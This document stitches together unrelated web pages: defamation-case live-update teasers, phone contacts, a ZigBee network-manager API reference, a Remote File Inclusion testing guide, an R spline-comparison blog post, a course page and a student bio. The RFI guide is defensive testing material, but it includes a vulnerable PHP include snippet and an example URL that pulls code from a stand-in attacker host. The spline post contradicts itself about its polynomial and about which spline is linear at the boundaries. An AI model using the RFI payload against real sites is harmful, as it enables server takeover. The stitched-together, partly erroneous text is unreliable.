[Live-Updates] MJ Akbar Vs Priya Ramani- Defamation Case
by Karan TripathiMJ Akbar Defamation case against Priya Ramani: Geeta Luthra begins the cross examination of Niloufer Venkataraman
Read the Live-Updates Here
MJ Akbar Defamation case against Priya Ramani: Geeta Luthra begins the cross examination of Niloufer Venkataraman
Read the Live-Updates Here


Reach out to us on
+254718818642
+254726015886
+254715000110
+254717878813
We are located in all sub-county offices, feel free to visit us.


|
EmberZNet API Reference: For the EM35x SoC Platform
EmberZNet <IP_ADDRESS>
For the EFR32 and EM3xx Platforms
|
Macros | |
| #define | NM_WARNING_LIMIT 16 |
| #define | NM_WINDOW_SIZE 4 |
| #define | NM_CHANNEL_MASK EMBER_ALL_802_15_4_CHANNELS_MASK |
| #define | NM_WATCHLIST_SIZE 16 |
Functions | |
| void | nmUtilWarningHandler (void) |
| callback called when unsolicited scan reports hit limit. This callback must be implemented by the application. It is called when the number of unsolicited scan reports received within NM_WINDOW_LIMIT minutes reaches NM_WARNING_LIMIT. More... | |
| bool | nmUtilProcessIncoming (EmberApsFrame *apsFrame, uint8_t messageLength, uint8_t *message) |
| Called from the app in emberIncomingMessageHandler. Returns true if and only if the library processed the message. More... | |
| EmberStatus | nmUtilChangeChannelRequest (void) |
The network manager is an optional function of one device in the ZigBee network. Devices on the network send unsolicited ZDO energy scan reports to the network manager when more than 25% of unicasts fail within a rolling window, but no more than once every 15 minutes.
See network-manager.h for source code.
The network manager is the coordinator by default but can be changed via emberSetNetworkManagerRequest(). It processes the energy scan reports from the devices on the network, and is responsible for determining if the network should change channels in an attempt to resolve reliability problems that might be caused by RF interference.
Note that EmberZNet networks are quite robust to many interferers such as 802.11 (WiFi), and the presence of interferers does not necessarily degrade application performance or require a channel change. Because changing channels is disruptive to network operation, channel changes should not be done solely because of observed higher noise levels, as the noise may not be causing any problem.
Also note that receipt of unsolicited scan reports is only an indication of unicast failures in the network. These might be caused by RF interference, or for some other reason such as a device failure. In addition, only the application can tell whether the delivery failures caused an actual problem for the application. In general, it is difficult to automatically determine with certainty that network problems are caused by RF interference. Channel changes should therefore be done sparingly and with careful application design.
The stack provides three APIs in include/zigbee-device-stack.h:
This library provides some additional functions:
An application implementing network manager functionality using this library should pass all incoming messages to nmUtilProcessIncomingMessage, which will return true if the message was processed as a ZDO energy scan report. The application should not make any calls to emberEnergyScanRequest(), as the library assumes all incoming scan reports are unsolicited and indicate unicast failures.
When NM_WARNING_LIMIT reports have been processed within NM_WINDOW_SIZE minutes, the nmUtilWarningHandler callback, which must be implemented by the application, is invoked. The default values for these parameters are set in network-manager.h and may be modified using #defines within the application configuration header.
The application may use the nmUtilWarningHandler callback, along with other application-specific information, to decide if and when to change the channel by calling nmUtilChangeChannelRequest. This function chooses a new channel from the NM_CHANNEL_MASK parameter using information gathered over time.
In the event of a network-wide channel change, it is possible that some devices, especially sleepy end devices, do not receive the broadcast and remain on the old channel. Devices should use the API emberFindAndRejoinNetwork to get back to the right channel.
Two implementations of this library are provided: network-manager.c, and network-manager-lite.c. The former keeps track of the mean and deviation of the energy on each channel and uses these stats to choose the channel to change to. This consumes a fair amount of RAM. The latter takes the simpler (and possibly more effective) approach of just avoiding past bad channels. Application developers are encouraged to use and modify either of these solutions to take into account their own application-specific needs.
| #define NM_CHANNEL_MASK EMBER_ALL_802_15_4_CHANNELS_MASK |
| #define NM_WARNING_LIMIT 16 |
| #define NM_WATCHLIST_SIZE 16 |
| #define NM_WINDOW_SIZE 4 |
| EmberStatus nmUtilChangeChannelRequest | ( | void | ) |
Chooses a new channel and broadcasts a ZDO channel change request.
| bool nmUtilProcessIncoming | ( | EmberApsFrame * | apsFrame, |
| uint8_t | messageLength, | ||
| uint8_t * | message | ||
| ) |
Called from the app in emberIncomingMessageHandler. Returns true if and only if the library processed the message.
| apsFrame | |
| messageLength | |
| message |
| void nmUtilWarningHandler | ( | void | ) |
callback called when unsolicited scan reports hit limit. This callback must be implemented by the application. It is called when the number of unsolicited scan reports received within NM_WINDOW_LIMIT minutes reaches NM_WARNING_LIMIT.


Summary
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:
- Code execution on the web server
- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
- Denial of Service (DoS)
- Sensitive Information Disclosure
Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.
How to Test
Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:
$incfile = $_REQUEST["file"]; include($incfile.".php");
In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
In this case the remote file is going to be included and any code contained in it is going to be run by the server.
References
Whitepapers
Remediation
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.


--- title: 'A Visual Comparison of Splines' author: '' date: '2019-02-24' slug: a-visual-comparison-of-splines categories: - nonlinear models - splines - R tags: - nonlinear models - splines - R ---
In this post we will do a visual comparison of three spline methods: splines, natural splines, and smoothing splines. If you aren’t familiar with these see my previous post.
So far we have mostly stuck to the theory of splines. Let’s switch gears and see how we might actually implement them. We will do a visual comparison to help build our intuition for what all that theory looks like in practice.
To start, we will generate some fake data so we can compare our fitted models to the true model. In this example we will use the polynomial \(y = 1 + 2x + 2x^2 + 4x^3\).
library(tidyverse)
library(splines)
theme_set(theme_bw())
set.seed(42)
x <- rnorm(500)
y <- 1 + 2*x + 3*x^2 + 4*x^3 + rnorm(500, sd = 5)
true_y <- 1 + 2*x + 3*x^2 + 4*x^3
df <- tibble(x, y, true_y)
The true model looks like this:
ggplot(df, aes(x, y)) +
geom_point() +
geom_line(aes(x, true_y), color = "#00CED1")
Not too complicated and something we might try to handle with linear regression because it has a pretty clear cubic shape. Now let’s fit our spline models and add those to the plots. The b_spline
model is a regular spline but using the B-Spline basis for computational reasons, as we saw in A Bit More On Splines. For simplicity we specify 6 degrees of freedom for the spline and natural spline. In reality you would probably want to do some sort of cross validation which we do for the smoothing spline because it’s built into the function. The bs
and ns
functions are from the spline
package and the smooth.spline
function is in the stats
package.
b_spline <- lm(y ~ bs(x, df = 6), data = df)
natural_spline <- lm(y ~ ns(x, df = 6), data = df)
smooth_spline <- smooth.spline(df$x, df$y, cv = TRUE)
# put everything together
model_df <- df %>%
bind_cols(b_spline = b_spline$fitted.values,
natural_spline = natural_spline$fitted.values,
smooth_spline = fitted.values(smooth_spline)) %>%
gather(true_y, b_spline, natural_spline, smooth_spline,
key = "model", value = "fit")
ggplot(model_df, aes(x, y)) +
geom_point() +
geom_line(aes(x, fit, color = model))
The three models are nearly identical and close match the underlying model. My suspicion is this is because we are using a polynomial as the true model. Since splines are essentially piecewise polynomials, it make sense they would be good approximations to a polynomial and would all be fairly close to each other.
The only place we see any real differences is in the boundaries which again should not be surprising. The spline and smoothing spline are pretty much the same but the natural spline is a bit further away from the true model. No doubt this is because smoothing splines are restricted to be linear in the boundary regions.
Let’s look at an example with a more complicated underlying model. Here we will use the function \(y = \sin(2x) + e^{0.5x}\). The code is essentially the same as before so I omit it for this example1. The true model looks like this:
The relationship here is nowhere near as obvious as as in the first example where we could see that it looked cubic. Also note that there is quite a bit more noise in this data which should make it harder to fit. After fitting the same models (with the same parameters) we end up with:
As expected, the fitted models are having a bit more trouble. In contrast with the polynomial fit, they are not as close to the true model in the interior regions and are noticeably different from each other. the same is true in the boundary regions, although the differences are more pronounced than with the polynomial model. If I had to pick one I would choose the smoothing spline. But to be fair, it has a slight advantage because it was chosen via cross validation. Had we done cross validation to choose the spline model (b_spline
), it might have been a more difficult choice.
For the polynomial example, there wasn’t any real difference between the fitted models and they approximated the true model quite well. But when we shook things up by using a mix of sine and exponential, we could see some noticeable differences. This is understandable both because splines are extensions of polynomials and because the data in the second example was simply more complicated. For the polynomial example, we might have tried to use a linear regression with polynomial terms had we simply plotted the data. But trying to do that in the complex example would probably not go as well.
That’s pretty much all I have for univariate splines. In the next few posts we will look at how we can extend these ideas to higher dimensions which is more practically relevant.


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Python for Computational Linguistics
Damir Ćavar
Computational Linguistics Fall School 2005
University of Bochum
Slides 1
Slides 2
Python bibliography
Code examples
Links
(C) 2005 by
Damir Ćavar
, dcavar _at_ indiana _dot_ edu


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I am a Bachelor student in Information Technology with emphasis in Software Engineering at the Federal University of Rio Grande do Norte, dedicated and focused on my professional development.
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